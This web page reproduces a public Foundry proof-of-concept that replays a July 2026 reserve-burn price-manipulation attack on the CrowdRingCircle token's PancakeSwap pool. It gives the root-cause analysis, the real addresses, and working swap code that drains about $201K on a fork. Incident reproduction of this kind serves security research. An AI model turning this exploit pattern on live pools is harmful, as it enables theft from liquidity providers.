Public reproduction file
src/test/2026-10/CrowdRingCircle_exp.sol
Public reproduction file for dataset entry CrowdRingCircle.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: MIT2pragma solidity ^0.8.20;4import "forge-std/Test.sol";6// CrowdRingCircle (CRC, "众环CRC") - "sell destroy" reserve-burn price manipulation on BNB Chain.7// ~$201K USDT drained from the CRC/USDT PancakeSwap LP, Jul 2026.8//9// Exploit tx : 0xeaef22325e02ac65a8e1f2e1a3a43f7b7ac8d2323ce6f698a90813e77017c834 (block 110301524,10// a CREATE tx; the whole attack ran in the attacker contract's constructor)11// Attacker : 0x34579eA92a07a88F5505dFaA4D99Ab94b278408712// CRC token : 0x8581433150F2c48fF2eFE5A22B17C7d405054509 (verified; impl of _update below)13// Victim LP : 0xd8799A644850c065388c22DF4eE0C28472922526 (CRC/USDT Pancake v2 pair; token0=USDT,14// token1=CRC). Pre-attack reserves at fork block: 209,061.632268 USDT / 35,903,344 CRC.15//16// Root cause (confirmed against the verified CRC source and the on-chain sequence): CRC's ERC2017// `_update` override has a "sell destroy" branch that fires on ANY transfer TO a registered DEX18// pair, from any non-exempt, non-blacklisted sender, while `sellDestroyEnabled` is on:19// if (isDexPair[to] && sellDestroyEnabled && !isExemptFromRestriction[from]) {20// uint256 burnAmount = _safeDeductBalance(to, amount); // min(amount, pair's CRC balance)21// super._update(to, address(0), burnAmount); // burns CRC OUT OF THE PAIR22// IUniswapV2Pair(to).sync(); // re-syncs reserves to the drop23// }24// So a seller can burn the pair's own CRC reserve down to ~0 and force a sync, collapsing the CRC25// side of the pool. There is no owner/operator gate, no signature/ecrecover, no governance step,26// no cooldown and no max-sell limiter on this path; the blacklist and exempt lists are both27// default-open (a fresh attacker passes). Permissionless.28//29// Attack sequence (exact amounts taken from the real tx's execution trace):30// 1. Buy ~35.86M CRC out of the pair (USDT->CRC), leaving only 40,629.6 CRC in the pair and31// pushing the USDT reserve to ~185.2M.32// 2. Sell 45,144 CRC (CRC->USDT). The 10% sell fee nets 40,629.6 CRC to the pair, which the33// sell-destroy branch then burns entirely out of the pair, syncing CRC reserve to ~0.34// 3. Transfer 40,629.6 CRC to the pair and call `swap` directly, extracting 185,204,938.738 USDT35// against the collapsed CRC reserve.36//37// FUNDING NOTE: the real tx sourced its working capital through a Moolah-vault flash loan plus38// Venus/Aave borrows. That financing is NOT the vulnerability, so this PoC funds the attacker39// directly with `deal()` in place of that flash-loan stack; the vulnerability is the40// reserve-manipulation step above. One honest consequence: with deal() the attacker pays no41// flash-loan/borrow fees, so the PoC realizes the pair's FULL drained USDT reserve as profit,42// 209,061.632268 USDT (gross), whereas the real tx delivered 201,359.472267 USDT to the EOA after43// paying ~7,702 USDT (3.7%) of financing fees. The assertion below targets the real on-chain net44// (201,359.472267) with a tolerance that covers that documented gap.45//46// Run (self-contained, BSC archive fork):47// forge test --contracts ./src/test/2026-10/CrowdRingCircle_exp.sol -vvv49interface IERC20 {50 function balanceOf(address) external view returns (uint256);51 function transfer(address, uint256) external returns (bool);52 function approve(address, uint256) external returns (bool);53}55interface IPancakeRouter {56 function swapTokensForExactTokens(57 uint256 amountOut,58 uint256 amountInMax,59 address[] calldata path,60 address to,61 uint256 deadline62 ) external returns (uint256[] memory);64 function swapExactTokensForTokensSupportingFeeOnTransferTokens(65 uint256 amountIn,66 uint256 amountOutMin,67 address[] calldata path,68 address to,69 uint256 deadline70 ) external;71}73contract CrowdRingCircle_exp is Test {74 address internal constant ATTACKER = 0x34579eA92a07a88F5505dFaA4D99Ab94b2784087;75 IERC20 internal constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);76 IERC20 internal constant CRC = IERC20(0x8581433150F2c48fF2eFE5A22B17C7d405054509);77 address internal constant LP = 0xd8799A644850c065388c22DF4eE0C28472922526;78 IPancakeRouter internal constant ROUTER = IPancakeRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);79 // Exempt-from-restriction address (the CRC owner) used as the sink for the "buy CRC out" leg,80 // so the pair->recipient CRC transfer is not blocked by the buy restriction.81 address internal constant EXEMPT_SINK = 0xa5341a83807503Ed8DEcb8534605494551C2a196;83 uint256 internal constant EXPLOIT_BLOCK = 110_301_524;85 // Exact amounts from the real tx trace.86 uint256 internal constant BUY_CRC_OUT = 35_862_714_912768051805032649; // CRC bought out of the pair87 uint256 internal constant BUY_USDT_MAX = 187_859_519_940162555719400333; // max USDT in for the buy88 uint256 internal constant SELL_CRC = 45_144_000000000000000000; // CRC sold to trigger the burn90 // Real on-chain net delivered to the EOA (receipt logs).91 uint256 internal constant REAL_NET = 201_359_472267000000000000; // 201,359.472267 USDT93 // BSC archive endpoint, hardcoded (keyless) so the PoC is self-contained; the default public94 // BSC RPC is non-archive and cannot fork this block.95 string internal constant BSC_ARCHIVE = "https://bsc-mainnet.public.blastapi.io";97 function setUp() public {98 vm.createSelectFork(BSC_ARCHIVE, EXPLOIT_BLOCK - 1);99 vm.label(ATTACKER, "Attacker");100 vm.label(LP, "CRC/USDT_LP");101 vm.label(address(CRC), "CRC");102 vm.label(address(USDT), "USDT");103 }105 function testExploit() public {106 // Working capital that the real attacker flash-borrowed; supplied via deal() here (see107 // FUNDING NOTE in the header). USDT for the buy leg, CRC for the sell + final swap.108 deal(address(USDT), ATTACKER, BUY_USDT_MAX);109 deal(address(CRC), ATTACKER, SELL_CRC);111 uint256 usdtIn = USDT.balanceOf(ATTACKER); // the capital we must "repay"113 vm.startPrank(ATTACKER, ATTACKER);114 USDT.approve(address(ROUTER), type(uint256).max);115 CRC.approve(address(ROUTER), type(uint256).max);117 // 1. Buy CRC out of the pair, collapsing its CRC reserve to 40,629.6 and inflating USDT.118 address[] memory buyPath = new address[](2);119 buyPath[0] = address(USDT);120 buyPath[1] = address(CRC);121 ROUTER.swapTokensForExactTokens(BUY_CRC_OUT, BUY_USDT_MAX, buyPath, EXEMPT_SINK, block.timestamp);123 // 2. Sell CRC -> triggers CRC._update sell-destroy, burning the pair's remaining CRC to ~0,124 // and the same fee-on-transfer swap then pulls the pool's USDT out against the collapsed125 // CRC reserve. (The real tx split this extraction across a sell and a follow-up direct126 // pair.swap; here the single fee-on-transfer sell already drains the USDT side.)127 address[] memory sellPath = new address[](2);128 sellPath[0] = address(CRC);129 sellPath[1] = address(USDT);130 ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(SELL_CRC, 0, sellPath, ATTACKER, block.timestamp);132 vm.stopPrank();134 // Net profit = final USDT minus the working capital we stood in for the flash loan.135 uint256 profit = USDT.balanceOf(ATTACKER) - usdtIn;136 emit log_named_decimal_uint("USDT gross profit (pool drain)", profit, 18);138 // Target the real on-chain net (201,359.472267 USDT). The deal()-funded gross is the pair's139 // full drained reserve (~209,061.63 USDT); tolerance covers the ~3.7% financing-fee gap.140 assertApproxEqRel(profit, REAL_NET, 0.04e18);141 }142}Analysis
Dataset entry
Public Foundry test for “CrowdRingCircle” (2026-07-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-10/BitBay_exp.solSame month in the dataset · 200 lines
- src/test/2026-10/FlashLoopAdapter_exp.solSame month in the dataset · 345 lines
- src/test/2026-10/GoldPesa_exp.solSame month in the dataset · 288 lines
- src/test/2026-10/KolanHook_exp.solSame month in the dataset · 261 lines
- src/test/2026-10/MakerDAOFlipKeeper_exp.solSame month in the dataset · 215 lines
- src/test/2026-10/MALT_exp.solSame month in the dataset · 194 lines
- src/test/2026-10/MOKE_exp.solSame month in the dataset · 142 lines
- src/test/2026-10/PerpetualProtocol_exp.solSame month in the dataset · 165 lines
- src/test/2026-10/SetProtocolETHMACOAPY_exp.solSame month in the dataset · 211 lines
- src/test/2026-10/UNCXSmartTokenVesting_exp.solSame month in the dataset · 378 lines
- src/test/2026-10/X7Finance_exp.solSame month in the dataset · 160 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x34579ea92a07a88f5505dfaa4d99ab94b2784087
- Victim
0xd8799a644850c065388c22df4ee0c28472922526
File record
- Name
- CrowdRingCircle
- Path
- src/test/2026-10/CrowdRingCircle_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 20d73b261e5c91a115c9d657bb137cf01f460d20
- Language
- Solidity
- Size
- 143 lines
- Date
- 2026-07-16
- Licence
- file header MIT; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-10/CrowdRingCircle_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 20d73b261e5c91a115c9d657bb137cf01f460d20, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.